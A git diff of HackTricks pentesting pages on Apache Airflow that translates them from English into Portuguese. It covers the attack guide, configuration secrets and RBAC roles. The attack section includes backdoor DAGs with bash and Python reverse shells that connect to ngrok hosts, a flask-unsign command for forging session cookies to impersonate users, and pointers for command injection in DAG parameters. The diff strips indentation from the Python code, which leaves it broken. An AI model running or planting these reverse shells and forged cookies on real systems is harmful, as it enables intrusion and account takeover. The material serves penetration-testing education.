{{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index aac46128c..6a4908a7c 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -2,22 +2,21 @@ {{#include ../../banners/hacktricks-training.md}} -### Basic Information +### Informações Básicas -[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications. +[**Apache Airflow**](https://airflow.apache.org) serve como uma plataforma para **orquestrar e agendar pipelines de dados ou fluxos de trabalho**. O termo "orquestração" no contexto de pipelines de dados significa o processo de organizar, coordenar e gerenciar fluxos de trabalho de dados complexos que se originam de várias fontes. O principal objetivo desses pipelines de dados orquestrados é fornecer conjuntos de dados processados e utilizáveis. Esses conjuntos de dados são amplamente utilizados por uma infinidade de aplicações, incluindo, mas não se limitando a ferramentas de inteligência de negócios, ciência de dados e modelos de aprendizado de máquina, todos os quais são fundamentais para o funcionamento de aplicações de big data. -Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**. +Basicamente, o Apache Airflow permitirá que você **agende a execução de código quando algo** (evento, cron) **acontecer**. -### Local Lab +### Laboratório Local #### Docker-Compose -You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM). +Você pode usar o **arquivo de configuração docker-compose de** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) para lançar um ambiente docker completo do apache airflow. (Se você estiver no MacOS, certifique-se de dar pelo menos 6GB de RAM para a VM do docker). #### Minikube -One easy way to **run apache airflo**w is to run it **with minikube**: - +Uma maneira fácil de **executar apache airflow** é executá-lo **com minikube**: ```bash helm repo add airflow-stable https://airflow-helm.github.io/charts helm repo update @@ -27,76 +26,72 @@ helm install airflow-release airflow-stable/airflow # Use this command to delete it helm delete airflow-release ``` +### Configuração do Airflow -### Airflow Configuration - -Airflow might store **sensitive information** in its configuration or you can find weak configurations in place: +O Airflow pode armazenar **informações sensíveis** em sua configuração ou você pode encontrar configurações fracas em vigor: {{#ref}} airflow-configuration.md {{#endref}} -### Airflow RBAC +### RBAC do Airflow -Before start attacking Airflow you should understand **how permissions work**: +Antes de começar a atacar o Airflow, você deve entender **como as permissões funcionam**: {{#ref}} airflow-rbac.md {{#endref}} -### Attacks +### Ataques -#### Web Console Enumeration +#### Enumeração do Console Web -If you have **access to the web console** you might be able to access some or all of the following information: +Se você tiver **acesso ao console web**, pode ser capaz de acessar algumas ou todas as seguintes informações: -- **Variables** (Custom sensitive information might be stored here) -- **Connections** (Custom sensitive information might be stored here) - - Access them in `http:///connection/list/` -- [**Configuration**](./#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here) -- List **users & roles** -- **Code of each DAG** (which might contain interesting info) +- **Variáveis** (Informações sensíveis personalizadas podem ser armazenadas aqui) +- **Conexões** (Informações sensíveis personalizadas podem ser armazenadas aqui) +- Acesse-as em `http:///connection/list/` +- [**Configuração**](./#airflow-configuration) (Informações sensíveis como **`secret_key`** e senhas podem ser armazenadas aqui) +- Liste **usuários e funções** +- **Código de cada DAG** (que pode conter informações interessantes) -#### Retrieve Variables Values +#### Recuperar Valores de Variáveis -Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http:///variable/list/`.\ -Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**. +As variáveis podem ser armazenadas no Airflow para que os **DAGs** possam **acessar** seus valores. É semelhante a segredos de outras plataformas. Se você tiver **permissões suficientes**, pode acessá-las na GUI em `http:///variable/list/`.\ +O Airflow, por padrão, mostrará o valor da variável na GUI, no entanto, de acordo com [**isso**](https://marclamberti.com/blog/variables-with-apache-airflow/), é possível definir uma **lista de variáveis** cujo **valor** aparecerá como **asteriscos** na **GUI**. ![](<../../images/image (164).png>) -However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\ -To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\ -Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it: +No entanto, esses **valores** ainda podem ser **recuperados** via **CLI** (você precisa ter acesso ao DB), execução de **DAG** arbitrário, **API** acessando o endpoint de variáveis (a API precisa estar ativada) e **até mesmo a própria GUI!**\ +Para acessar esses valores a partir da GUI, basta **selecionar as variáveis** que você deseja acessar e **clicar em Ações -> Exportar**.\ +Outra maneira é realizar um **bruteforce** no **valor oculto** usando o **filtro de pesquisa** até obtê-lo: ![](<../../images/image (152).png>) -#### Privilege Escalation - -If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**. +#### Escalação de Privilégios +Se a configuração **`expose_config`** estiver definida como **True**, a partir da **função Usuário** e **acima**, pode-se **ler** a **configuração na web**. Nessa configuração, a **`secret_key`** aparece, o que significa que qualquer usuário com isso válido pode **criar seu próprio cookie assinado para se passar por qualquer outra conta de usuário**. ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` +#### DAG Backdoor (RCE em trabalhador Airflow) -#### DAG Backdoor (RCE in Airflow worker) - -If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\ -Note that this reverse shell is going to be executed inside an **airflow worker container**: - +Se você tiver **acesso de escrita** ao local onde os **DAGs são salvos**, você pode simplesmente **criar um** que enviará para você um **reverse shell.**\ +Observe que este reverse shell será executado dentro de um **container de trabalhador airflow**: ```python import pendulum from airflow import DAG from airflow.operators.bash import BashOperator with DAG( - dag_id='rev_shell_bash', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_bash', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = BashOperator( - task_id='run', - bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1', - ) +run = BashOperator( +task_id='run', +bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1', +) ``` ```python @@ -105,75 +100,66 @@ from airflow import DAG from airflow.operators.python import PythonOperator def rs(rhost, port): - s = socket.socket() - s.connect((rhost, port)) - [os.dup2(s.fileno(),fd) for fd in (0,1,2)] - pty.spawn("/bin/sh") +s = socket.socket() +s.connect((rhost, port)) +[os.dup2(s.fileno(),fd) for fd in (0,1,2)] +pty.spawn("/bin/sh") with DAG( - dag_id='rev_shell_python', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_python', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = PythonOperator( - task_id='rs_python', - python_callable=rs, - op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} - ) +run = PythonOperator( +task_id='rs_python', +python_callable=rs, +op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} +) ``` +#### DAG Backdoor (RCE no agendador do Airflow) -#### DAG Backdoor (RCE in Airflow scheduler) - -If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder. - +Se você definir algo para ser **executado na raiz do código**, no momento da escrita deste texto, ele será **executado pelo agendador** após alguns segundos depois de colocá-lo dentro da pasta do DAG. ```python import pendulum, socket, os, pty from airflow import DAG from airflow.operators.python import PythonOperator def rs(rhost, port): - s = socket.socket() - s.connect((rhost, port)) - [os.dup2(s.fileno(),fd) for fd in (0,1,2)] - pty.spawn("/bin/sh") +s = socket.socket() +s.connect((rhost, port)) +[os.dup2(s.fileno(),fd) for fd in (0,1,2)] +pty.spawn("/bin/sh") rs("2.tcp.ngrok.io", 14403) with DAG( - dag_id='rev_shell_python2', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_python2', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = PythonOperator( - task_id='rs_python2', - python_callable=rs, - op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} +run = PythonOperator( +task_id='rs_python2', +python_callable=rs, +op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} ``` +#### Criação de DAG -#### DAG Creation +Se você conseguir **comprometer uma máquina dentro do cluster DAG**, pode criar novos **scripts de DAG** na pasta `dags/` e eles serão **replicados no restante das máquinas** dentro do cluster DAG. -If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster. +#### Injeção de Código em DAG -#### DAG Code Injection +Quando você executa um DAG pela GUI, pode **passar argumentos** para ele.\ +Portanto, se o DAG não estiver devidamente codificado, ele pode ser **vulnerável a Injeção de Comando.**\ +Foi isso que aconteceu neste CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) -When you execute a DAG from the GUI you can **pass arguments** to it.\ -Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\ -That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) - -All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**. - -Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**: +Tudo o que você precisa saber para **começar a procurar por injeções de comando em DAGs** é que **parâmetros** são **acessados** com o código **`dag_run.conf.get("param_name")`**. +Além disso, a mesma vulnerabilidade pode ocorrer com **variáveis** (note que com privilégios suficientes você poderia **controlar o valor das variáveis** na GUI). Variáveis são **acessadas com**: ```python from airflow.models import Variable [...] foo = Variable.get("foo") ``` - -If they are used for example inside a a bash command, you could perform a command injection. +Se forem usados, por exemplo, dentro de um comando bash, você poderia realizar uma injeção de comando. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md index 5fd8e486b..32ea3a07d 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md @@ -2,114 +2,104 @@ {{#include ../../banners/hacktricks-training.md}} -## Configuration File +## Arquivo de Configuração -**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.** +**Apache Airflow** gera um **arquivo de configuração** em todas as máquinas do airflow chamado **`airflow.cfg`** na pasta inicial do usuário airflow. Este arquivo de configuração contém informações de configuração e **pode conter informações interessantes e sensíveis.** -**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.** +**Existem duas maneiras de acessar este arquivo: Comprometendo alguma máquina do airflow ou acessando o console web.** -Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`. +Note que os **valores dentro do arquivo de configuração** **podem não ser os utilizados**, pois você pode sobrescrevê-los definindo variáveis de ambiente como `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`. -If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\ -If you have **access to some machine inside the airflow env**, check the **environment**. +Se você tiver acesso ao **arquivo de configuração no servidor web**, pode verificar a **configuração real em execução** na mesma página em que a configuração é exibida.\ +Se você tiver **acesso a alguma máquina dentro do ambiente airflow**, verifique o **ambiente**. -Some interesting values to check when reading the config file: +Alguns valores interessantes para verificar ao ler o arquivo de configuração: ### \[api] -- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS** -- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS** -- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS** -- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API: - - `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API - - `airflow.api.auth.backend.default`: **Everyone can** access it without authentication - - `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication** - - `airflow.api.auth.backend.basic_auth`: For **basic authentication** - - `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)). - - `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default). - - You can also **create you own authentication** method with python. -- **`google_key_path`:** Path to the **GCP service account key** +- **`access_control_allow_headers`**: Isso indica os **cabeçalhos permitidos** para **CORS** +- **`access_control_allow_methods`**: Isso indica os **métodos permitidos** para **CORS** +- **`access_control_allow_origins`**: Isso indica as **origens permitidas** para **CORS** +- **`auth_backend`**: [**De acordo com a documentação**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) algumas opções podem estar em vigor para configurar quem pode acessar a API: +- `airflow.api.auth.backend.deny_all`: **Por padrão, ninguém** pode acessar a API +- `airflow.api.auth.backend.default`: **Todos podem** acessá-la sem autenticação +- `airflow.api.auth.backend.kerberos_auth`: Para configurar **autenticação kerberos** +- `airflow.api.auth.backend.basic_auth`: Para **autenticação básica** +- `airflow.composer.api.backend.composer_auth`: Usa autenticação de compositores (GCP) (de [**aqui**](https://cloud.google.com/composer/docs/access-airflow-api)). +- `composer_auth_user_registration_role`: Isso indica a **função** que o **usuário compositor** terá dentro do **airflow** (**Op** por padrão). +- Você também pode **criar seu próprio método de autenticação** com python. +- **`google_key_path`:** Caminho para a **chave da conta de serviço GCP** ### **\[atlas]** -- **`password`**: Atlas password -- **`username`**: Atlas username +- **`password`**: Senha do Atlas +- **`username`**: Nome de usuário do Atlas ### \[celery] -- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_) -- **`result_backend`**: Postgres url which may contain **credentials**. -- **`ssl_cacert`**: Path to the cacert -- **`ssl_cert`**: Path to the cert -- **`ssl_key`**: Path to the key +- **`flower_basic_auth`** : Credenciais (_user1:password1,user2:password2_) +- **`result_backend`**: URL do Postgres que pode conter **credenciais**. +- **`ssl_cacert`**: Caminho para o cacert +- **`ssl_cert`**: Caminho para o cert +- **`ssl_key`**: Caminho para a chave ### \[core] -- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`. -- **`fernet_key`**: Key to store encrypted variables (symmetric) -- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections. -- **`security`**: What security module to use (for example kerberos) +- **`dag_discovery_safe_mode`**: Habilitado por padrão. Ao descobrir DAGs, ignore quaisquer arquivos que não contenham as strings `DAG` e `airflow`. +- **`fernet_key`**: Chave para armazenar variáveis criptografadas (simétrica) +- **`hide_sensitive_var_conn_fields`**: Habilitado por padrão, oculta informações sensíveis de conexões. +- **`security`**: Qual módulo de segurança usar (por exemplo, kerberos) ### \[dask] -- **`tls_ca`**: Path to ca -- **`tls_cert`**: Part to the cert -- **`tls_key`**: Part to the tls key +- **`tls_ca`**: Caminho para ca +- **`tls_cert`**: Caminho para o cert +- **`tls_key`**: Caminho para a chave tls ### \[kerberos] -- **`ccache`**: Path to ccache file -- **`forwardable`**: Enabled by default +- **`ccache`**: Caminho para o arquivo ccache +- **`forwardable`**: Habilitado por padrão ### \[logging] -- **`google_key_path`**: Path to GCP JSON creds. +- **`google_key_path`**: Caminho para as credenciais JSON do GCP. ### \[secrets] -- **`backend`**: Full class name of secrets backend to enable -- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class. +- **`backend`**: Nome completo da classe do backend de segredos a ser habilitado +- **`backend_kwargs`**: O parâmetro backend_kwargs é carregado em um dicionário e passado para **init** da classe do backend de segredos. ### \[smtp] -- **`smtp_password`**: SMTP password -- **`smtp_user`**: SMTP user +- **`smtp_password`**: Senha SMTP +- **`smtp_user`**: Usuário SMTP ### \[webserver] -- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value -- **`cookie_secure`**: Set **secure flag** on the the session cookie -- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console** -- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker) -- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**) -- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert** -- **`web_server_ssl_key`**: **Path** to the **SSL** **Key** -- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible +- **`cookie_samesite`**: Por padrão é **Lax**, então já é o valor mais fraco possível +- **`cookie_secure`**: Define a **flag segura** no cookie de sessão +- **`expose_config`**: Por padrão é Falso, se verdadeiro, a **configuração** pode ser **lida** do **console** web +- **`expose_stacktrace`**: Por padrão é Verdadeiro, mostrará **tracebacks python** (potencialmente útil para um atacante) +- **`secret_key`**: Esta é a **chave usada pelo flask para assinar os cookies** (se você tiver isso, pode **se passar por qualquer usuário no Airflow**) +- **`web_server_ssl_cert`**: **Caminho** para o **certificado** **SSL** +- **`web_server_ssl_key`**: **Caminho** para a **Chave** **SSL** +- **`x_frame_enabled`**: O padrão é **Verdadeiro**, então por padrão o clickjacking não é possível -### Web Authentication - -By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as +### Autenticação Web +Por padrão, a **autenticação web** é especificada no arquivo **`webserver_config.py`** e é configurada como ```bash AUTH_TYPE = AUTH_DB ``` - -Which means that the **authentication is checked against the database**. However, other configurations are possible like - +O que significa que a **autenticação é verificada contra o banco de dados**. No entanto, outras configurações são possíveis, como ```bash AUTH_TYPE = AUTH_OAUTH ``` +Para deixar a **autenticação para serviços de terceiros**. -To leave the **authentication to third party services**. - -However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**: - +No entanto, também há uma opção para **permitir acesso a usuários anônimos**, definindo o seguinte parâmetro para o **papel desejado**: ```bash AUTH_ROLE_PUBLIC = 'Admin' ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md index 7ff782327..b132bff1f 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md @@ -4,44 +4,40 @@ ## RBAC -(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles. +(Do docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: O Airflow vem com um **conjunto de funções por padrão**: **Admin**, **User**, **Op**, **Viewer** e **Public**. **Apenas usuários `Admin`** podem **configurar/alterar as permissões para outras funções**. Mas não é recomendado que usuários `Admin` alterem essas funções padrão de qualquer forma, removendo ou adicionando permissões a essas funções. -- **`Admin`** users have all possible permissions. -- **`Public`** users (anonymous) don’t have any permissions. -- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.** -- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file** -- **`Op`** users have `User` permissions plus additional op permissions. +- **Usuários `Admin`** têm todas as permissões possíveis. +- **Usuários `Public`** (anônimos) não têm nenhuma permissão. +- **Usuários `Viewer`** têm permissões limitadas de visualização (apenas leitura). **Não pode ver a configuração.** +- **Usuários `User`** têm permissões de `Viewer` mais permissões adicionais que permitem gerenciar DAGs um pouco. Ele **pode ver o arquivo de configuração.** +- **Usuários `Op`** têm permissões de `User` mais permissões adicionais de operação. -Note that **admin** users can **create more roles** with more **granular permissions**. +Observe que **usuários admin** podem **criar mais funções** com mais **permissões granulares**. -Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that. +Além disso, note que a única função padrão com **permissão para listar usuários e funções é Admin, nem mesmo Op** poderá fazer isso. -### Default Permissions +### Permissões Padrão -These are the default permissions per default role: +Estas são as permissões padrão por função padrão: - **Admin** -\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs] +\[pode deletar em Connections, pode ler em Connections, pode editar em Connections, pode criar em Connections, pode ler em DAGs, pode editar em DAGs, pode deletar em DAGs, pode ler em DAG Runs, pode ler em Task Instances, pode editar em Task Instances, pode deletar em DAG Runs, pode criar em DAG Runs, pode editar em DAG Runs, pode ler em Audit Logs, pode ler em ImportError, pode deletar em Pools, pode ler em Pools, pode editar em Pools, pode criar em Pools, pode ler em Providers, pode deletar em Variables, pode ler em Variables, pode editar em Variables, pode criar em Variables, pode ler em XComs, pode ler em DAG Code, pode ler em Configurations, pode ler em Plugins, pode ler em Roles, pode ler em Permissions, pode deletar em Roles, pode editar em Roles, pode criar em Roles, pode ler em Users, pode criar em Users, pode editar em Users, pode deletar em Users, pode ler em DAG Dependencies, pode ler em Jobs, pode ler em My Password, pode editar em My Password, pode ler em My Profile, pode editar em My Profile, pode ler em SLA Misses, pode ler em Task Logs, pode ler em Website, acesso ao menu em Browse, acesso ao menu em DAG Dependencies, acesso ao menu em DAG Runs, acesso ao menu em Documentation, acesso ao menu em Docs, acesso ao menu em Jobs, acesso ao menu em Audit Logs, acesso ao menu em Plugins, acesso ao menu em SLA Misses, acesso ao menu em Task Instances, pode criar em Task Instances, pode deletar em Task Instances, acesso ao menu em Admin, acesso ao menu em Configurations, acesso ao menu em Connections, acesso ao menu em Pools, acesso ao menu em Variables, acesso ao menu em XComs, pode deletar em XComs, pode ler em Task Reschedules, acesso ao menu em Task Reschedules, pode ler em Triggers, acesso ao menu em Triggers, pode ler em Passwords, pode editar em Passwords, acesso ao menu em List Users, acesso ao menu em Security, acesso ao menu em List Roles, pode ler em User Stats Chart, acesso ao menu em User's Statistics, acesso ao menu em Base Permissions, pode ler em View Menus, acesso ao menu em Views/Menus, pode ler em Permission Views, acesso ao menu em Permission on Views/Menus, pode obter em MenuApi, acesso ao menu em Providers, pode criar em XComs] - **Op** -\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs] +\[pode deletar em Connections, pode ler em Connections, pode editar em Connections, pode criar em Connections, pode ler em DAGs, pode editar em DAGs, pode deletar em DAGs, pode ler em DAG Runs, pode ler em Task Instances, pode editar em Task Instances, pode deletar em DAG Runs, pode criar em DAG Runs, pode editar em DAG Runs, pode ler em Audit Logs, pode ler em ImportError, pode deletar em Pools, pode ler em Pools, pode editar em Pools, pode criar em Pools, pode ler em Providers, pode deletar em Variables, pode ler em Variables, pode editar em Variables, pode criar em Variables, pode ler em XComs, pode ler em DAG Code, pode ler em Configurations, pode ler em Plugins, pode ler em DAG Dependencies, pode ler em Jobs, pode ler em My Password, pode editar em My Password, pode ler em My Profile, pode editar em My Profile, pode ler em SLA Misses, pode ler em Task Logs, pode ler em Website, acesso ao menu em Browse, acesso ao menu em DAG Dependencies, acesso ao menu em DAG Runs, acesso ao menu em Documentation, acesso ao menu em Docs, acesso ao menu em Jobs, acesso ao menu em Audit Logs, acesso ao menu em Plugins, acesso ao menu em SLA Misses, acesso ao menu em Task Instances, pode criar em Task Instances, pode deletar em Task Instances, acesso ao menu em Admin, acesso ao menu em Configurations, acesso ao menu em Connections, acesso ao menu em Pools, acesso ao menu em Variables, acesso ao menu em XComs, pode deletar em XComs] - **User** -\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances] +\[pode ler em DAGs, pode editar em DAGs, pode deletar em DAGs, pode ler em DAG Runs, pode ler em Task Instances, pode editar em Task Instances, pode deletar em DAG Runs, pode criar em DAG Runs, pode editar em DAG Runs, pode ler em Audit Logs, pode ler em ImportError, pode ler em XComs, pode ler em DAG Code, pode ler em Plugins, pode ler em DAG Dependencies, pode ler em Jobs, pode ler em My Password, pode editar em My Password, pode ler em My Profile, pode editar em My Profile, pode ler em SLA Misses, pode ler em Task Logs, pode ler em Website, acesso ao menu em Browse, acesso ao menu em DAG Dependencies, acesso ao menu em DAG Runs, acesso ao menu em Documentation, acesso ao menu em Docs, acesso ao menu em Jobs, acesso ao menu em Audit Logs, acesso ao menu em Plugins, acesso ao menu em SLA Misses, acesso ao menu em Task Instances, pode criar em Task Instances, pode deletar em Task Instances] - **Viewer** -\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances] +\[pode ler em DAGs, pode ler em DAG Runs, pode ler em Task Instances, pode ler em Audit Logs, pode ler em ImportError, pode ler em XComs, pode ler em DAG Code, pode ler em Plugins, pode ler em DAG Dependencies, pode ler em Jobs, pode ler em My Password, pode editar em My Password, pode ler em My Profile, pode editar em My Profile, pode ler em SLA Misses, pode ler em Task Logs, pode ler em Website, acesso ao menu em Browse, acesso ao menu em DAG Dependencies, acesso ao menu em DAG Runs, acesso ao menu em Documentation, acesso ao menu em Docs, acesso ao menu em Jobs, acesso ao menu em Audit Logs, acesso ao menu em Plugins, acesso ao menu em SLA Misses, acesso ao menu em Task Instances] - **Public** \[] {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index 